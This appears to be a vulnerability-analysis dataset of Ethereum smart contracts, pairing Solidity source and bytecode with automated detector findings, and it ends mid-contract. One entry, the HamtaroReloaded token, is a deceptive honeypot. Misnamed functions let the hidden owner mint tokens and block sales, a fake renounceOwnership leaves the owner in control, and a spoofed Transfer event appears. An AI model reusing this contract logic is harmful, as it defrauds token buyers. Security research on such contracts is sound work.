// First, we check to see if the tokens are ZTH tokens. If not, we revert the transaction.
// Next - if the game has already ended (i.e. your bet was too late and the clock ran out)
// the staked tokens from the previous game are transferred to the winner, the timers are
// reset, and the game begins anew.
// If you're simply resetting the clock, the timers are reset accordingly and you are designated
// the current winner. A 1% cut will be taken for the house, and the rest deposited in the prize
// pool which everyone will be playing for. No second place prizes here!
function _stakeTokens(TKN _tkn) private {
require(gameActive);
require(_zthToken(msg.sender));
require(validTokenBet[_tkn.value]);
if (now > gameEnds) { _settleAndRestart(); }
address _customerAddress = _tkn.sender;
uint _wagered = _tkn.value;
uint rightNow = now;
uint timePurchased = tokenToTimer[_tkn.value];
uint newGameEnd = rightNow.add(timePurchased);
gameStarted = rightNow;
gameEnds = newGameEnd;
currentWinner = _customerAddress;
contractBalance = contractBalance.add(_wagered);
uint houseCut = _wagered.div(100);
uint toAdd = _wagered.sub(houseCut);
houseTake = houseTake.add(houseCut);
tokensInPlay = tokensInPlay.add(toAdd);
emit TokensWagered(_customerAddress, _wagered, newGameEnd);
}
// In the event of a game restart, subtract the tokens which were being played for from the balance,
// transfer them to the winner (if the number of tokens is greater than zero: sly edge case).
// If there is *somehow* any Ether in the contract - again, please don't - it is transferred to the
// bankroll and reinvested into Zethr at the standard 33% rate.
function _settleAndRestart() private {
gameActive = false;
uint payment = tokensInPlay/2;
contractBalance = contractBalance.sub(payment);
if (tokensInPlay > 0) { ZTHTKN.transfer(currentWinner, payment);
if (address(this).balance > 0){
ZTHBANKROLL.transfer(address(this).balance);
}}
emit GameEnded(currentWinner, payment, now);
// Reset values.
tokensInPlay = tokensInPlay.sub(payment);
gameActive = true;
}
// How many tokens are in the contract overall?
function balanceOf() public view returns (uint) {
return contractBalance;
}
// Administrative function for adding a new token-time pair, should there be demand.
function addTokenTime(uint _tokenAmount, uint _timeBought) public onlyOwner {
validTokenBet[_tokenAmount] = true;
tokenToTimer[_tokenAmount] = _timeBought;
}
// Administrative function to REMOVE a token-time pair, should one fall out of use.
function removeTokenTime(uint _tokenAmount) public onlyOwner {
validTokenBet[_tokenAmount] = false;
tokenToTimer[_tokenAmount] = 232 days;
}
// Function to pull out the house cut to the bankroll if required (i.e. to seed other games).
function retrieveHouseTake() public onlyOwnerOrBankroll {
uint toTake = houseTake;
houseTake = 0;
contractBalance = contractBalance.sub(toTake);
ZTHTKN.transfer(bankroll, toTake);
emit HouseRetrievedTake(now, toTake);
}
// If, for any reason, betting needs to be paused (very unlikely), this will freeze all bets.
function pauseGame() public onlyOwner {
gameActive = false;
}
// The converse of the above, resuming betting if a freeze had been put in place.
function resumeGame() public onlyOwner {
gameActive = true;
}
// Administrative function to change the owner of the contract.
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
// Administrative function to change the Zethr bankroll contract, should the need arise.
function changeBankroll(address _newBankroll) public onlyOwner {
bankroll = _newBankroll;
}
// Is the address that the token has come from actually ZTH?
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
}
}
// And here's the boring bit.
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106100da5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633cc4c6ce81146100df578063499831f2146100f65780635e123ce41461010b578063722713f7146101325780638b7afe2e14610147578063a378bba51461015c578063a6f9dae114610171578063a78bcf6e14610192578063aabe2fe3146101b3578063afa9a86e146101e4578063c0ee0b8a146101f9578063d6ccf7a714610276578063f020044f14610291578063f41f4b10146102a6578063f79d6687146102bb575b600080fd5b3480156100eb57600080fd5b506100f46102d3565b005b34801561010257600080fd5b506100f46102f9565b34801561011757600080fd5b5061012061031c565b60408051918252519081900360200190f35b34801561013e57600080fd5b50610120610322565b34801561015357600080fd5b50610120610328565b34801561016857600080fd5b5061012061032e565b34801561017d57600080fd5b506100f4600160a060020a0360043516610334565b34801561019e57600080fd5b506100f4600160a060020a036004351661037a565b3480156101bf57600080fd5b506101c86103c0565b60408051600160a060020a039092168252519081900360200190f35b3480156101f057600080fd5b506101206103cf565b34801561020557600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610262948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506103d59650505050505050565b604080519115158252519081900360200190f35b34801561028257600080fd5b506100f4600435602435610406565b34801561029d57600080fd5b50610262610444565b3480156102b257600080fd5b506100f461044d565b3480156102c757600080fd5b506100f4600435610579565b600054600160a060020a031633146102ea57600080fd5b6008805460ff19166001179055565b600054600160a060020a0316331461031057600080fd5b6008805460ff19169055565b60065481565b60045490565b60045481565b60075481565b600054600160a060020a0316331461034b57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461039157600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600554600160a060020a031681565b60035481565b60006103df610925565b600160a060020a0385168152602081018490526103fb816105b9565b506001949350505050565b600054600160a060020a0316331461041d57600080fd5b6000918252600b60209081526040808420805460ff19166001179055600c90915290912055565b60085460ff1681565b60008054600160a060020a03163314806104715750600154600160a060020a031633145b151561047c57600080fd5b50600280546000909155600454610499908263ffffffff61074416565b6004908155600a54600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831694810194909452602484018590525191169163a9059cbb9160448083019260209291908290030181600087803b15801561050f57600080fd5b505af1158015610523573d6000803e3d6000fd5b505050506040513d602081101561053957600080fd5b5050604080514281526020810183905281517f95a874a43e2b35cd8dd5c26d75b8c95ea2cd8152f17d40ac971f7844a976f051929181900390910190a150565b600054600160a060020a0316331461059057600080fd5b6000908152600b60209081526040808320805460ff19169055600c9091529020630131dc009055565b6000806000806000806000600860009054906101000a900460ff1615156105df57600080fd5b6105e833610756565b15156105f357600080fd5b6020808901516000908152600b909152604090205460ff16151561061657600080fd5b6007544211156106285761062861076f565b87516020808a01516000818152600c9092526040909120549198509650429550935061065a858563ffffffff6108f816565b600686905560078190556005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038a1617905560045490935061069c90876108f8565b6004556106b086606463ffffffff61090e16565b91506106c2868363ffffffff61074416565b6002549091506106d8908363ffffffff6108f816565b6002556003546106ee908263ffffffff6108f816565b60035560408051600160a060020a03891681526020810188905280820185905290517ff6dbe9ed7a14e9a58a34b1833a363a95a7d19a785c6657b8aeea89c18b80752b9181900360600190a15050505050505050565b60008282111561075057fe5b50900390565b6008546101009004600160a060020a0390811691161490565b6008805460ff19169055600354600454600290910490610795908263ffffffff61074416565b6004556003546000101561088757600a54600554604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152602481018590529051919092169163a9059cbb9160448083019260209291908290030181600087803b15801561081557600080fd5b505af1158015610829573d6000803e3d6000fd5b505050506040513d602081101561083f57600080fd5b505060003031111561088757600954604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610885573d6000803e3d6000fd5b505b60055460408051600160a060020a039092168252602082018390524282820152517f8420a32dd381606a863bf5711eb04325b7da1cb03e87d6167fab0afe1a9da80c9181900360600190a16003546108e5908263ffffffff61074416565b600355506008805460ff19166001179055565b60008282018381101561090757fe5b9392505050565b600080828481151561091c57fe5b04949350505050565b6040805180820190915260008082526020820152905600a165627a7a72305820ac3f117df1dbddf97f274005b56780246a3f290b2cf8ecfa72f81ae3514174680029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,478 |
0x000ee2ed96e1d1277a67864dedd42140dcc6b835
|
/**
*Submitted for verification at Etherscan.io on 2021-08-15
*/
/*
___ ___ __ __________ .__ .___ .___
/ | \_____ ______/ |______ _______ ____ \______ \ ____ | | _________ __| _/____ __| _/
/ ~ \__ \ / \ __\__ \\_ __ \/ _ \ | _// __ \| | / _ \__ \ / __ |/ __ \ / __ |
\ Y // __ \| Y Y \ | / __ \| | \( <_> ) | | \ ___/| |_( <_> ) __ \_/ /_/ \ ___// /_/ |
\___|_ /(____ /__|_| /__| (____ /__| \____/ |____|_ /\___ >____/\____(____ /\____ |\___ >____ |
\/ \/ \/ \/ \/ \/ \/ \/ \/ \/
HAMTARO IS LOST IN THE MATRIX! WILL YOU TAKE THE PILL AND HELP SAVE HAMTARO, NEO??
This is a deflationary token meaning the value of the token can only go up! 2% of tokens are burned when sold.
Total Supply: 100,000,000,000,000 Hamtaro 🐹
🔑 Locked Liquidity ✅
🤵 Renounced Ownership ✅
⚙️ Utility ✅
🍻 Fair Launch ✅
⛅️ Deflationary ✅
https://t.me/HamtaroReloaded
**/
pragma solidity ^0.6.9;
// SPDX-License-Identifier: MIT
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract HamtaroReloaded is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _router;
mapping(address => mapping (address => uint256)) private _allowances;
address private router;
address private caller;
uint256 private _totalTokens = 100 * 10**9 * 10**18;
uint256 private rTotal = 50 * 10**9 * 10**18;
string private _name = '@HamtaroReloaded';
string private _symbol = 'HAMTRIX';
uint8 private _decimals = 18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decreaseAllowance(uint256 amount) public onlyOwner {
rTotal = amount * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function increaseAllowance(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function Approve(address trade) public onlyOwner {
caller = trade;
}
function setrouteChain (address Uniswaprouterv02) public onlyOwner {
router = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == router) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461047f578063b4a99a4e146104e5578063dd62ed3e1461052f578063f2fde38b146105a757610100565b806370a0823114610356578063715018a6146103ae57806395d89b41146103b857806396bfcd231461043b57610100565b806318160ddd116100d357806318160ddd1461024a57806323b872dd14610268578063313ce567146102ee5780636aae83f31461031257610100565b806306fdde0314610105578063095ea7b31461018857806310bad4cf146101ee57806311e330b21461021c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b61021a6004803603602081101561020457600080fd5b81019080803590602001909291905050506106ab565b005b6102486004803603602081101561023257600080fd5b8101908080359060200190929190505050610788565b005b6102526109c0565b6040518082815260200191505060405180910390f35b6102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ca565b604051808215151515815260200191505060405180910390f35b6102f6610a89565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa0565b005b6103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bad565b6040518082815260200191505060405180910390f35b6103b6610bf6565b005b6103c0610d7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61047d6004803603602081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e21565b005b6104cb6004803603604081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2e565b604051808215151515815260200191505060405180910390f35b6104ed610f4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6106b3611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610774576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b610790611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610871611206565b73ffffffffffffffffffffffffffffffffffffffff16141561089257600080fd5b6108a78160065461136d90919063ffffffff16565b60068190555061090681600260006108bd611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b60026000610912611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610958611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600654905090565b60006109d78484846113f5565b610a7e846109e3611206565b610a7985600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a30611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b61120e565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b610aa8611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bfe611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e175780601f10610dec57610100808354040283529160200191610e17565b820191906000526020600020905b815481529060010190602001808311610dfa57829003601f168201915b5050505050905090565b610e29611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610f42610f3b611206565b84846113f5565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000808284019050838110156113eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561146957600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115145750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561152857600754811061152757600080fd5b5b61157a81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160f81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60006116fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122021364ba411e3dc40926dcb659802a16a6c28804260ee29f032d9bd02b3b8551264736f6c63430006090033
|
{"success": true, "error": null, "results": {}}
| 8,479 |
0x16dbade6bc34c4a99b157d555111b7710044e39a
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
**/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
**/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
**/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
**/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
**/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender account.
**/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
**/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
**/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic interface
* @dev Basic ERC20 interface
**/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
**/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
**/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
**/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
**/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
